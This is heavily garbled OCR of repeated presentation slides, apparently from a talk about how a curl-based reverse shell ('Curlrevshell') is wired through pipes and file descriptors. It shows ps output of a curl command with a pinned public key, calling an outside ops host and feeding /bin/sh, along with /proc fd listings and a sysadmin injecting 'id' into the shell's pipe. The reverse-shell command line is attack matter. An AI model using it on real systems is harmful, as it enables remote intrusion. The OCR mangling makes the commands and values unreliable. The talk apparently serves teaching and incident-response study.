lseek(3, 172032, SEEK_SET) = 172032

read({3, "usr/binfenv -1 PATH=/usr/local/sbin:/usr/local/bin: fusr/sbin:/us", .., 7876) = 7876
newfstatat({l, "", {st_mode=S_IFCHRI|®6b6, st_rdev=makedev(@x1, 8x3), ...}, AT_EMPTY_PATH) = @
ioctl{l, TCGETS, @x7ffcB2focco®) = -1 ENOTTY (Inappropriate ioctl for device)

[pid 477163] read(3, "", @) =@
[pid 477163] close(3) =9 -
.[Pld 477163] write(l, "2525!%9!13 10:14:54 5 ed .ssh/outhorized _keys'nZ2@25/89/10 10:16:0"..., 458} = 453

e T 11 T, R e e e e T e iy B P | T e O 1 R —.,_.._d-\.
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Turtles are connected by pipes and file descriptors

@& "3 Ops - Curlrevshell T
wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry
htRPIV M TIXp JMSINIVE Bas I RHPCDZ01= https:/Fops . not-hdu, Lol ; 4ddd f1 F3dkwiBcbed i 7g -N

wurzal 477134 8.9 8.1 2584 B84 7 5 19:14 R N Sbundsh

wurzel 477138 8.8 9.8 549 4200 7 R 18:14 a:ea | Y ps o fux

wurzel 477135 2.9 2.6 04006 12780 T 5 10:14  8:0 N cwrl -K- something-normal . cos

101



Turtles are connected by pipes and file descriptors

[} i Ops - Curlrevshell L 299 Ops - Curlnvshell %
15 -1 A

wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry

htRPIV M TIXp JMSINIVE Bas I RHPCDZ01= https:/Fops . not-hdu, Lol ; 4ddd f1 F3dkwiBcbed i 7g -N

wurzal 477134 8.9 8.1 2584 B84 7 5 19:14 R N Sbundsh

wurzel 477138 8.8 9.8 549 4200 7 R 18:14 a:ea | Y ps o fux

wurzel 477135 2.9 2.6 04006 12780 T 5 10:14  8:0 N cwrl -K- something-normal . cos

102



Turtles are connected by pipes and file descriptors

[} i Ops - Curlrevshell L 299 Ops - Curlnvshell %
15 L

wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry Sl Tl SderFdsl AdeviFdi?

MtRF‘!'-'ZH_s-TIIp;HEIHE_IH'I-:E'I].::;'ERHF‘[D?(OI- h+f|_:|-=:_2'.fnp:._.nut-hd_u.1ql :44-4-11.-"12341!:w75_|:;t!_x?]?q -P_L

vn.lr.:r,l 477134 9.9 8.1 2a8d B84 7 5 19:14 : N Sbundsh

wurzel 477138 8.8 9.8 549 47200 7 R 18:14 a:ea | Y ps ovewfux

wurzel 477135 0.0 2.6 04005 100 ¢ £ 1814 0@ _ curl -K- semething-normal . cos
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Turtles are connected by pipes and file descriptors

& i Ops - Curlrevshell L 299 Ops - Curlnvshell %
iz -1 %

wurzel 477133 9.0 .3 94148 1119 7 3 1214 88 M curl -sk --pinnedpubkey shaZ3h//CkYWazy Erlmsa SEACN, SomifEA/ L S Fdi 2

Mt_RP‘]'-'Z_T-i:.TIIp;HSIHE‘i‘k?‘I]u_ﬂRHF‘I.'D?'ﬂ'.I]:- httrxa.:_ffﬂp:._.npi':- hd-u...'lnl :Mﬂ:—'i#ld-t_wg_&q;!;x_ﬁl 7q -N_ Fpre fl?':":lsj.-'ld_k

wurzel A77134 8.9 B.1 2aBd B4 7 5 19:14 B N Sbundsh

wurzel 477138 8.8 9.8 549 4200 7 R 18:14 a:ea | Y ps o fux

wurzel 477135 2.9 2.6 04006 12780 T 5 10:14  8:0 N cwrl -K- something-normal . cos
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Turtles are connected by pipes and file descriptors

' Ops - Curlrevshell T 2ee ps- Dariwvaiel
1s -1

wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry Sdea/ Tl AdeasFdsl AdevsiFdi?

h-!tRP1'-'2H_:.TIIn_:HSIHE_!’!ﬂ'k?_‘I]_u5'ER_HF‘I.'DE'{GII- ht‘+p_|_5.:_2'.f¢qs .nnf.- i, 1!.1:! :44-411.-"1#3415:»:'1@:!;!_1_?] 7q -N fprnc JATTIIL fd %

wurzal 477134 .9 8.1 2284 B84 7 5 19:14 0: N Sbundsh AprecsSSsfd

wurzel 477138 9.9 B.8 ESAQ 4200 7 R 1314 B0 | ' ps owewfux

wurzel 477135 2.9 2.6 04006 12780 T 5 10:14  8:0 N cwrl -K- something-normal . cos

T
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Turtles are connected by pipes and file descriptors

[] i Ops - Curlrevshell T 299 Oy - Curirgvshull
1s -1

wurzal 477133 8.9 2.3 D414E 11196 7 5 214 &M N cwurl -sk --pinnedpubkey shalS6/ ChkYWhry Sdea/ Tl AdeasFdsl AdevsiFdi?

htRPIV M TIXp JMSINIVE Bas I RHPCDZ01= https:/Fops . not-hdu, Lol ; 4ddd f1 F3dkwiBcbed i 7g -N JproC/ATTLEI R N

wurzel 477134 8.9 B.1  EZ384  HE4 T 5 12:14  9:8 ' /binssh i i

wurzel 477138 9.8 9.8 2549 4200 7 R 13:14  8:00 | L ps owewfux fproc/4TT135

wurzel 477135 0.0 2.6 04005 1000 ¢ % 18:14  B:00 S curl -K- something-normal . cos

T
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Turtles are connected by pipes and file descriptors

L

Ops - Curlrevshell T

wurzal

477133 8.0 2.3 94148 11196 7

5

1214

@8 o curl -sk --pinnedpublkey sPuZ'iﬁfkam:f.

_hAtRPIVIMSTIXG (NS XNV TBas IRHPCOZ/1= hitps:/fops.not-hdx Lol 444d/i /3kwiBchnl 7 -N

S ps oveewfux
2:00 N cwrl -K- something-normal .com

wurgel 477134 8.9 B.1  Z5E4 484 7 5 1214 R S Sbindsh]
wurzel 477138 9.0 @8 SR 4200 7 R Inl4  @:08 |
wurzel 477135 9.9 2.6 04095 12200 ¥ LT 5 ]

BN ] Ops - Curlrevshall TH

- 18 phl,
E fedel FAAD SdeveFdsd ddeviFde
E;ﬂ Hedlonan el |
* r.tﬂ’f;m-'\
L L]

| fproc/s

STUTUCTSTT fd
| lreg=e==== 1 warrel murzel 64 Sep 100 10:27 /dew/'Fd@ -» pipe:[2355726] |
| Lewreeee 1 wrzel murzel 64 Sep 18 18: 22 Sdew/fdfl -» pipe:[2185727]
T CEEET 1 wurzal murzel 64 Sep DD 180223 Adews/fdl2 -> pipe;[Z355727]
| fproc/aITI fd:
toeel @
O — 1 warzel murzel 64 Sep 10 18:2F @ -» pipe:[2355726]
| L-wm- - 1 werzel murzel 64 Sep 1D 18:22 1 -» pipe:[2355727]
| Lowggereeea 1 warrel murrel 64 Sep 18 18:22 2 -» pipe: [2355727)
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Turtles are connected by pipes and file descriptors

LN Ops - Curlrevshell

worzel 477133 0.0 2.3 04148 11196 7 5 14 @0 O curl -sk --pinnedpubkey shoZS6/SCkYWAZY
RPIVZMsTING MEXNBVEK TBas LRHPCDZ 01~ hitps:/fops. not-hdx Lol 444/ SdkwBcbe? i7g -N

wurzel 477134 9.9 B.1  Z5B4  BE4 T 5 19:14  0:00 S sbinssh

wurzel 477138 9.0 9.8 3548 4200 7 R 18:14  0:00

wurzel 477135 9.9 2.6 94006 12200 ¥ -

19:14  8:80 N cwrl -K- something-normal . cos

BN ] Ops - Curlrevshall TH

ERL L
| 5 fde Tl Adev/Fd/L Adevs/Fds2 |8
ettt

TRy

E Aprocsitofd
UL

fden/ Tl -» pipe:[2IS5TRE]

! Lr=g====== 1 warrel murzel &4 Sep i
| L= 1 wrzel murzel 64 rdE Fdewd/Fdfl -» pipe: [2ASS72T]
T CEEET 1 wurzal mirzel a1 I SdewFd/2 <> pipe; [23S5T2T)

| fproc/aITI fd:

| total @

O — 1 warzel murzel 64 Sep @ -» pipe:[2355726]
| l-ww---—-- 1 wmarzel murzel &4 Sep b 1 -» pipe:[2355727]
| Lowggereeea 1 warrel murrel 64 Sep 18 18:22 2 -» pipe: [2355727)

T ————
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Turtles are connected by pipes and file descriptors

euv® Ops - Curlrevshell TR et l LTl e
i w1 L

wurzael 477133 9.0 2.3 94148 11196 7 5 1214 @8 L curl -sk --pinnedpubkey sha2S6//CkYWAzy E 2 e/ AR AdevsFdil e Fde? &
RPIVZMATIXp MSANRVKTBas I RHPCOZ/01= https:/fops. nat:-his, Lol; 4044/ [kwiBcha? 7g -N £ i b —

wurgel 477134 0.0 0.1 2584  BA4 7 51814 900 . /binssh) >

wurzel 477138 0.0 0.8 G540 4200 T R 1814 8:00 | ps owewfux H R F e

wurzel 477135 9.0 2.6 04096 12200 7 S 10:14  9:00 ' curl K- something-normal .com ) o et it 0 o e

x Lewm = 1 wurzel murzel 64

| fproc/aITI fd:

| total @

| LP-g-——e- 1 marzel murzel

| L-w-——== 1 wmerzel mureel &4
L-wme=rens 1 waerrel wurrel G4 Sep

T

fdews TR -» pipe:[2355T26] |
Adewe/fdl -» pupe: [2A85727] [

Ao Fai2 o> pipe; [Z355727]

@ -» plpe:[2355726]
1 -» pipe:[2355727]
2 =» pipe:[235572T)
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Turtles are connected by pipes and file descriptors

sce

Ops - Curlrevshell T

|

wurzal

477133 9.0 2.3 94148 11196 7
It RPIVIMETIXp JHEXNEVE TBas IRHPCDZ/0T~ https:/fops . not-hde, Lol 4444/ 34kwiBcbx i 7g -N

5 1314 @M L curl -sk --pinnedpubley sha2S6//CkWAz

wurzel 477134 @9 8.1 5 1214 R N Sbindsh
wurzel 477138 €. 8.8 R 13:14  0:0 | O ps owewfux
477135 2.9 2.6 04006 12780 T 5 19:14  8:80 N cwrl -K- something-normal . cos

wurzel

BN ] Ops - Curlrevshall TH

« 18 =1 ¥
e Tl Sdmaf £dA/E Adevs/ P2
.rgr.;.:.rlmga.rf.sf.
fprecdSEcfd
TOFELI TS
! Ir=gg=e==== 1 warzel murzel & Sep 10 18:22 Sdew/'Fd@ -» pipe:[2355726]
| lrwe====r 1 wrzel murzel 64 Sop 10 18:22 Jdews/fdf1 -» pipe:[2385727]
| T — 1 wurzal murzel 64 Sep 10 18022 Sdews/farl -» pipe; [2355727]

| fproc/aITI fd:

| total @

| LR e 1 warzel murzel
| L-wpte 1 wmerzel murzel
| Lepeeees 1 wmarrel murrel

ZZ @ -» pipe:[2355726]
122 1 -» pipe:[2355727]
22 2 -» pipe: [238572T)

ERE
58
555
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Turtles are connected by pipes and file descriptors

o0 e Ops - Curlrevshell T ese T Etiiiet —
w18 =1 Y
wurzal 477133 0.0 2.3 04148 11196 7 5 114 80 O curl -sk --pinnedpubkey sha2S6//CkYWAz [« e/ Flon AdmerFdsd Adevi/Fdi2
|MtHF1HMHIpﬁEnMMIRHPCme- https:/fops. not-hix, Lol s4dda/1 /3akwiBcha T -N { » fprec/a7T133d
wurzel 477134 0.0 B.1  Z5E4 484 7 $  18:14  9:08 N /binfsh | fproc/siifd
worzel 477138 @8 BB ESA@ 4200 7 B 114 880 | ' ps owswfux | B
" i i | lr=g====== 1 warzel murzel 64 Sep 10 18:22 /dew/'Fd@ -» pige:[2355726] i
jworgel 477135 9.0 2.6 94006 12200 7 5 1kl 900 N el K- sowething-normol.cos . [ Lot 1 asrzel mirzel 64 Sop 10 10:22 fdew/FdL —» pipe-[23ES727]
| Lot nnans 1 warzel murzel 64 Sep I0 18022 Afdev/fidfl - pipe: [2355727]
| FpreeATTAZRS Fd:
| total @
| bp=pe = 1 warrel murzel 64 Sep 18 18:22 @ -» Sdewsnull
| Lowme=mene 1 warzel murzel 64 Sep 10 18:22 1 -> pipe: [2355726)
R 1 werzel murzel 64 Sop 108 1822 2 o= Adewsnull
R 1 werzel murzel 64 Sep I 18022 3 -» socket:[Z355734]
| UPwit-—---- 1 wasrzel murzel G4 Sep 10 18:2Z 4 -» socket![Z355735]
| Lrwge e e 1 warzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]
| fprociaITim/ fd:
| total @
O — 1 warzel murzel 64 Sep 10 18:2F @ -» pipe:[2355726]
| L-w-=——=== 1 werze]l murzel 64 Sep 1D 18:22 1 -» pipe:[2355727]
| Lowggereeea 1 warrel murrel 64 Sep 18 18:22 2 -» pipe: [2355727)
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Turtles are connected by pipes and file descriptors

sce

Ops - Curlrevshall je- 4

wurzal

477133 9.0 2.3 94148 11196 7
It RPIVIMETIXp JHEXNEVE TBas IRHPCDZ/0T~ https:/fops . not-hde, Lol 4444/ 34kwiBcbx i 7g -N

5 1314 @M L curl -sk --pinnedpubley sha2S6//CkWAz

wurzal 477134 8.2 8.1 5 12:14 88 O /binssh
wurzel 477138 €. 8.8 R 13:14  0:0 | O ps owewfux
477135 9.9 2.6 04806 12280 7 5 12:14 @00 N cwrl -K- something-normal .com

wurzel

BN ] Ops - Curlrevshall TH

« 18 =1 ¥

A e e Fi?
fprec/4TT133/1d

Aprec/issfd

| 5
"
! Ir=g====== 1 warzel murzel & Sep 10 10:22 fdew/fd/@ -» pige:[2355726] i
| lrwe====r 1 wrzel murzel 64 Sop 10 18:22 Jdews/fdf1 -» pipe:[2385727]
Clewmsecaee ] wurzel murzel 64 Sep 10 18022 Sdews/ A2 o> pipe; [Z355727]

] FprocsdTTIES fd:

| total @

| Lr=pe—e—=— 1 wrrel murzel == fdeefnull

[ Lememeens 1 marzel murzel =» pipe: [2355726]

R T—— 1 wisrzel murzel == fdenul

| Lrwm - - 1 merzel murzel -» sochket ! [Z3557M]
| UPwit- - - 1 wasrrel murzel -» socket | [Z355735]
| Lrwai===e=s 1 warzel murzel -» socket; [Z355754]
| fproc/aITI fd:

tokal @

| treg-———o- 1 marzel marzel -» pipe: [2355726]

| L-ww---—-= 1 marzel murzel -= pipe:[2355727]

| Lowggereeea 1 warrel murrel =» pipe: [235572T]
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Turtles are connected by pipes and file descriptors

o0 e Ops - Curlrevshell T ese T Etiiiet —
1 s -1 %
wurzal 477133 9.0 2.3 94148 11196 7 5 12:14 @80 o curl -sk --pinnedpubley shaS6//CkYWazy | Foev/ Tl AdevsFddl AdevsFdi2 &
AERPIVIMs TIXp FMS XNV TBas LRHPCOZ 01~ https:/Yops.not-hix, Lol 444471/ 34kwiBcbadi7g -N { » ATTIAY A
wurzel 477134 9.0 0.1 584 B4 7 5 1814 B0 N Jbindsh ‘ | * |;:rw:;;:;;fd
wurzel 477138 0.0 9.8 E549 4200 7 R 314 880 | S ps owewfux |
] y L B e Tel mirzel G4 Sen 10 10:2Z2 Sdevw/fd/® -» pipe:[2355726] |
purgel 4TR35S 9.9 2.6 04096 12208 7 18:34  9:08 % curl K- something-normal.cos [ Lot 1 asrzel mirzel 64 Sop 10 10:22 fdew/FdL —» pipe-[23ES727]
T CEEET 1 wurzal murzel 64 Sep DD 180223 Adews/fdl2 -> pipe;[Z355727]
| fprocfdTTII fd:
| tatal @
| bp=pe = 1 warrel murzel 64 Sep 18 18:22 @ -» Sdewsnull
:lm-----r 1 werzol murzel 64 Sep 1B 18022 1 -» pipe:[2355726]
R 1 werzel murzel 64 Sop 108 1822 2 o= Adewsnull
| Lrwm - - 1 merzel murzel 64 Sep 10 18022 3 -» socket: [7355734]
| UPwit-—---- 1 wasrzel murzel G4 Sep 10 18:2Z 4 -» socket![Z355735]
| Lrw- e 1 warzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]
| fprociaITim/ fd:
tokal @
O — 1 warzel murzel 64 Sep 10 18:2F @ -» pipe:[2355726]
| L-wm- - 1 werzel murzel 64 Sep 1D 18:22 1 -» pipe:[2355727]
| Lowggereeea 1 warrel murrel 64 Sep 18 18:22 2 -» pipe: [2355727)
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Turtles are connected by pipes and file descriptors

ev e Ops - Curlrevshell TR ase e o
1 = 18 =1 %
wurzal 477133 9.9 2.3 94148 11196 7 5 1214 @8 L curl -sk --pinnedpubkey sha2S6//CkYWAzy 5 Sdew Tl SdewsFddl AdesFdiE A
AERPIVIMs TIXp FMS XNV TBas LRHPCOZ 01~ https:/Yops.not-hix, Lol 444471/ 34kwiBcbadi7g -N { » ATTIAY A
wurzel 477134 8.0 B.1 2584 BE4 7 5 1814 B0 N Jbindsh | * |;:$:;;:;5:]
wurzel 477138 9.9 @.8 8540 4200 7 R 1214 8:80 | C ps owwfux * Ehe !
wirzel 477135 9.0 2.6 94095 12200 7 S 10:14  0:00 “_ curl K- scmething-normol.com T ﬂ::{ i 2 A = :::;Eﬁg:i:;=
T CEEET 1 wurzal murzel 64 Sep DD 180223 Adews/fdl2 -> pipe;[Z355727]
| fprocAATTIES Fd:
| total @
| bp=pe = 1 warrel murzel 64 Sep 18 18:22 @ -» Sdewsnull
:lm--r--r 1 werzol murzel 64 Sep 1B 18022 1 -» pipe:[2355726]
L 1 werzel murzel 64 Sop 100 18EE 2 o> Sdewinull
| Lrwm - - 1 merzel murzel 64 Sep 10 18022 3 -» socket: [7355734]
| UPwit-—---- 1 wasrzel murzel G4 Sep 10 18:2Z 4 -» socket![Z355735]
| Lrwge e e 1 warzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]
| fprociaITim/ fd:
| total @
O — 1 warzel murzel 64 Sep 10 18:2F @ -» pipe:[2355726]
| L-w-=——=== 1 werze]l murzel 64 Sep 1D 18:22 1 -» pipe:[2355727]
| Lowggereeea 1 warrel murrel 64 Sep 18 18:22 2 -» pipe: [2355727)
| fproc/4TTIIS Hd:
| tatal @
L irege————— 1 wmerzel murzel 64 Sep 10 18:22 @ -» pipe:[2355728]
| l-W=e==== 1 wiarrel murzel 64 Sep 10 18:22 1 -» Sfdewinull
T-te=eens 1 warzel murzel 64 Sop 18 18; 22 2 - Sdew/null
Clpedeecese ] wurzel surzel 64 Sep DD 18034 3 <> pipe: [$3557E7)
| Apeg-cmeae 1 marzel murzel 64 Sep 10 18022 4 -+ pipe: [2355727]
| Lrvt-—-—e- 1 wrzel mirzel 64 Ssp 10 18:2F 5 -» socket: [Z35574Z]
| Lrwsg-=-em— 1 werzel murzel 64 Sep 10 18:22 6 -» sochet: [ZAS5T43]
Erwege e 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

'K Ops - Curlrevshell Tl eese e o
4 | = 1= =1 %
wurzal 477133 9.0 2.3 94148 11196 7 5 1214 @8 L curl -sk --pinnedpubkey sha2S6//CkYWAzy 5 . S/ OO AdeviFdsl AdewisFde?
AERPIVIMs TIXp FMS XNV TBas LRHPCOZ 01~ https:/Yops.not-hix, Lol 444471/ 34kwiBcbadi7g -N E ATTIAY A
wurzel 477134 9.0 0.1 584 B4 7 5 14 B S Jbandsh E fprocsihofd
477138 9.0 9.8 8549 4200 7 R 18:14  0:00 | O ps owewfux B |
477135 0.0 2.6 04Q05 12280 7 5 10:14 900 \_ curl —K- something-normal.com | Lrn- o= TR i zel HEZ e TR, = prige: [TIARTZE] §

G Sep 10 18 i
| lrwe====r 1 wrzel murzel 64 Sop 10 18:22 Jdews/fdf1 -» pipe:[2385727]
lewpteeceee ] wurzel murzel 64 Sep 10 18022 Jdev/fd/l -» pipe;[2355727]

| Froe ATTIIR Fd:

| total @

| bp=pe = 1 warrel murzel 64 Sep 18 18:22 @ -» Sdewsnull
'lun 1 warzel murzel 64 Sep 10 18022 1 -» pipe:[2355726]
L 1 werzel murzel 64 Sop 100 18EE 2 o> Sdewinull

R 1 werzel murzel 64 Sep I 18022 3 -» socket:[Z355734]
| UPwit-—---- 1 wasrzel murzel G4 Sep 10 18:2Z 4 -» socket![Z355735]
| Lrwai=====v 1 wiarzel murzel 64 Sep 180 18:22 5 -» socket; [Z355754]
| fproc/aITI fd:

| total @

| lP-m--——=- 1 warzel marzel 64 Sap 1D 18:I7 @ -» pipe:[2355726]

| L-ww---—-~ 1 werzel murzel &4 Sep -= pipe:[2355727]

| Lowggereeea 1 warrel murrel 64 =» pipe: [235572T]

| fproc 4TI/ fa:

| tokal @

L irege————— 1 werzel murzel e 8 -= pipe:[2355728]

| L-#=-==-- 1 marzel murzel 1 -» fdewinull

| lewsemeens 1 warzel murzel 64 2 =» Sdewsnull

L pemessass 1 warzel surzel 64 Sep 3 =» pipe: [2355727]

| Apegeeeean 1 marzel murzel 64 Sep 10 1 4 -» plipe: [2355727]

| L -—— - 1 wureel murzel 64 Sep 10 18027 5 -» socket: [FI55T4Z]
| Lrwsg-=-em— 1 werzel murzel 64 Sep 10 18:22 6§ -» sochet: [ZAS5T43]
| brwets--ees 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

ev® Ops - Curirevshell T (006 L oo il inan® =
1 = 1s =1 Y
wurzal 477133 9.0 2.3 94148 11196 7 5 12:14 @80 o curl -sk --pinnedpubley shaS6//CkYWazy 5 Sdewd T SdewsFasl AdevsFdiE &
MERPIVIMs TIXp FMS XNV TBas LRHPCOZ 01~ https:/Yops . not-hix Lol 444471/ 34kwiBcbadi?g -N > AprecsATTIIAE Y
wurzel 477134 9.0 B.1  Z5E4  BEs 7 5 19:14  0:00 O /binssh g ;::z:%;ﬁ
wurzel 477138 9.0 8.8 E54B 4200 7 R 12:14  @:00 | O ps owewfux 4 :
. i . | Ir=gg====== 1 warzrel murzel & Sep 10 18:22 Sdew/'fd/@ -» pipe:[2355726]
_v_tl-u'ul 477135 9.9 2.6 94006 12208 ¥ 5 13:14 @8 O cwrl -K- something-normal . com y b 1 warzel mirzel 64 Sop 18 10:22 /dev/fdAl - pige- [2385727] |
§ Lewtnmnane 1 wurzal murzel 64 Sep 1D 1822 Adev/Tdsl -> pipe;[2355727] |
—_ - - - - - - M_mwfd;
N ] Ops - Curlrevshell hd L
| Cwarzel murzel 64 Sep 18 18:22 § -» Sdevinull
|ml'|- murzel 64 Sep 10 18:22 1 -» pipe:[2355726]
_ [wurzol murzel 64 Sep 100 18027 2 - fdevinull
4 wsrzel murzel 64 Sep 18 18:22 3 -> socket: [Z3557M]
q‘ wirzel mirzel 64 Sep 10 18:22 4 > socket.: (2355735]
. . == 1 wisrzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]
a0 e Don the Sysadmin tH3 bra:
murzel 64 Sep 1B 18:27 @ -» pipe:[2355726]
murzel 64 Sep 1D 18:22 1 -» pipe:[2355727]
murrel 64 Sop 18 18:22 2 -» pipe: [2355727)
murzel 4 Sep 10 18:22 8 -» pipe:[235572E]
h-ﬂ------ 1 warzel murzel &4 Sen 10 18:22 1 -» Sdewi’null
‘il-m---n- 1 wrzel murzel 64 Sep 18 1822 2 - Sdewinull
L 1 warzal surzel 64 Sep 1D 1834 3 - pips: [Z3557E7)
{ Ar=g--mmes 1 marzel mrzel 64 Sep 10 1822 4 -> pipe: [2355727]
| L --—e- 1 warzel marzel 64 Sep 10 18:27 5 -» socket: [FI5574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XFA55M43]
| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

sve® Ops - Curlrevshell e (.00 il D it =
| =15 -1 %
wurzal 477133 9.0 2.3 94148 11196 7 5 12:14 @80 o curl -sk --pinnedpubley shaS6//CkYWazy 5 Sdewd T SdewsFasl AdevsFdiE &
MERPIVIMs TIXp FMS XNV TBas LRHPCOZ 01~ https:/Yops . not-hix Lol 444471/ 34kwiBcbadi?g -N AprecsATTIIAE Y
wurzel 477134 9.0 B.1  Z5E4  BEs 7 5 19:14  0:00 O /binssh ;::z:%;ﬁ
wurzel 477138 9.0 9.8 8549 4200 7 R 13:14  0:0 | O ps owewfux
. i . | lr=g==e=== 1 wmarrel murzel & Seo 18 18:27 fdevw/'Fd@ -» prlpe LESF-"K»]
_v_tl-u'ul 477135 @.0 2.6 OA006 12200 ¥ 5 1814 e N cwrl -K- something-normal . com y b 1 warzel mirzel 64 Sop 18 10:22 /dev/fdAl - pige- [2385727] |
§ Lewtnmnane 1 wurzal murzel &4 Sep DD 18022 Adevw/fdi2 -> pipe; [3!55?'2?]
= — — R e
KN Ops - Curlrevshell rE1
| Cwarzel murzel 64 Sep 18 18:22 § -» Sdevinull
[ murzel murzel 64 Sep 10 10:22 1 -> pipe:[2385726]
_ [wurzol murzel 64 Sep 100 18027 2 - fdevinull
4 wsrzel murzel 64 Sep 18 18:22 3 -> socket: [Z3557M]
qz worzel mirzel 64 Sep 19 18:22 4 > socket! (2355735
. . == 1 wisrzel murzel G4 Sep 10 18:2F 5 -» socket; [Z355754]

: ane Daon the Sysadmin tH3 bra:

i-4 sudo sh -¢ "echo id >>/proc/477133/Fd/1"
P !mrm marzel & —» plpe: [2355726]

64 Sep
sowmarze]l mureel 64 Sep 1 -» pipe:[2355727]
G Lep

X 1 werzel murzel 18 2 > pipe: [2185727]
fprocidTTIIS/ Fa:
| tokal @

=
555
NN

S bP-g--——-- 1 werzel murzel G4 Sep 10 18:22 @ -» pipe:[2355728]
h-ﬂ------ 1 warzel murzel &4 Sen 10 18:22 1 -» Sdewi’null

| Lewtemeens 1 warzel murzel 64 Sop 10 18:2F 2 - Sdewsnull

| Ipepeacans 1 wurzal murzel 64 Sep DD 18114 3 - pipe: [$3557E7)

{ Ar=g--mmes 1 marzel mrzel 64 Sep 10 1822 4 -> pipe: [2355727]

| Urwi--——-- 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XFA55M43]
| brwse e s 1 warrel murzel 64 Sep 10 18:22 7 -» sockok:[ZI55755]
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Turtles are connected by pipes and file descriptors

L L Ops - Curlrevshell Tl
477133 8.0 2.3 94148 11196 7 18:14 &8 N curl -sk --pinnedpubley shaZS6//CkYWAzy
|MtHF11-'M mmlmzxm https: .-',-"m nat- h-h lul Adad /1 IkwiBcbxd g -N |
§ 18:14 680 S /bindsh
uu-nl 4??13! 9.0 n ESad 4208 7 R mu 0:08 | S ps owesfux
wurzel  ATTI35 9.8 2.6 9406 12200 ¥ 5 114 8@ O curl -K- something-normal . cos

- LN ] Ops - Curlrevshall Rt 2
'.- iz -1\
5 Fde /Tl Adev/Fd/E SdeviFde2 N
fproc/ATTIEAAE N
SprecdSsofd
fproc/ATT135 fd
|T.r-l me==e ] warzel murzel fdew/FdR -» prge: LBSFES]
| 1w 1 wasrzel murzel Adew/fdl -» pupe: [2A85727] [
T — 1 warzel murzel AdeaFdi2 == pipe: [355573’1
Hann T Fil
it

| warzel murzel

:~% sudo sh -¢ "echo id >>/proc/477133/fd 1"

wrzel murzel 1 =» pipe: [2355726]
wrzol murzel 132 2 > fdevSnull
warzel murzel 3 -» socket: [Z35574]
wergel mirzel 4 -» spcket! [Z355735]
wurrel murzel 5 =» socket; [Z355754]

K3 ra:
warrel murzel @ -»> pipe:[2355726]

64 Sep
warze]l murzel 64 Sep
G Lep

‘1 marrel murzel

1 -» pipe:[2355727]
b 18:22 2 -» pipe: [235572T)

.prun"ﬂ?m} fd:

| tokal @

S bP-g--——-- 1 werzel murzel G4 Sep 10 18:22 @ -» pipe:[2355728]
:-|'I-wu------ 1 warzel murzel &4 Sen 10 18:22 1 -» Sdewi’null

1'I-lm. ------ 1 wrzel murzel 64 Sep 18 1822 2 - Sdewinull

| Ipepeacans 1 wurzel surzel o8 Sep 10 18:34 3 -> pipe: [F355727)
'tr ~g-e—-== 1 marpel mirzel 64 Sep 10 1822 4 -> pipe:[2355727]
|1m------ 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| brws====== 1 waerzel murzel 64 Sen 10 18:2F 6 -= sockek: [Z355M43]
| Lrws=e==- 1 warzel murzel 64 Sep 1B 18:22 7 > socket: [2355755]



Turtles are connected by pipes and file descriptors

v e Ops - Curlrevshell Tl (880 = N S =
T
wurzal 477133 9.9 2.3 94148 11196 7 1314 8 L curl -3k --pinnedpubkey sha2S6//CkYWAzy > e Sdewd T SdewsFasl AdevsFdiE &
hatRP1V XNV TBas LRHPCDZD1- https: Hm not- hlh lul Add /i 34kwiBebad g -N | AprecsATTIIAE Y
wurzel 4??§§ W”F““Eﬁ""ﬁi"?’;' 5 1814 6:08 o /bunish ‘ Aprec/Sitd
in"nl 477138 9.9 @.8 8540 4200 7 R 1!11 8:00 | S ps owewfux fproc/HTTLEE fd
wurzel 477135 0.0 2.6 04096 12200 7 §  10:14  9:00 _ curl K- something-normal.com J !}:_::j_‘ et Lt o St I A e Eﬂﬁ;ﬁ%
' | Lt nnana 1 werzal murzel 64 Sep D0 18 ED Sdew/fd/2 <> pipe: [3!55?'2?]
- —_ - e - - M-.—mwfd:
R N ) Ops - Curlrevshell TRl
| Cwarzel murzel 64 Sep 18 18:22 § -» Sdewdnull
Curid=180@0wurzel) gid=18000(wurzel) groups=108@wurzel) surzol murzel 64 Sep 1 -» pipe:[2355728]
| wurzel mirzel 64 132 2 > fdevSnull
warzel murzel 3 -» socket: [Z35574]
werzel mirzel fi4 Sep 4 -» spcket! [Z355735]
wurrel murzel Sep 5 =» socket; [Z355754]

ese Don the Sysadmin el
:~% sudo sh -¢ "echo id >>/proc/477133/fd 1" worzel marzsl

64 Sep
\ l.mlmrlr'l.ﬂim
1 warrel murzel G4 Sep

@ -» pipe: [2355726]
1 -» pipe:[2355727]
b 18:22 2 -» pipe: [235572T)

z;rwhnwu:

| tokal @

S bP-g--——-- 1 werzel murzel G4 Sep 10 18:22 @ -» pipe:[2355728]
:-|'I-wu------ 1 warzel murzel &4 Sen 10 18:22 1 -» Sdewi’null

| Lo emens 1 warzel murrel 64 Sop 10 10 2R 2 -3 Sdewinull

| Ipepeacans 1 wurzel surzel o8 Sep 10 18:34 3 -> pipe: [F355727)

{ Ar=g--mmes 1 marzel mrzel 64 Sep 10 1822 4 -> pipe: [2355727]

| Urwi--——-- 1 warzel marzel 64 Sep 10 18:27 5 -» socket:[Z35574Z]
| Lrwst====== 1 werzel murzel 64 Sep 10 18:32 6 -» sockek: [XFA55M43]
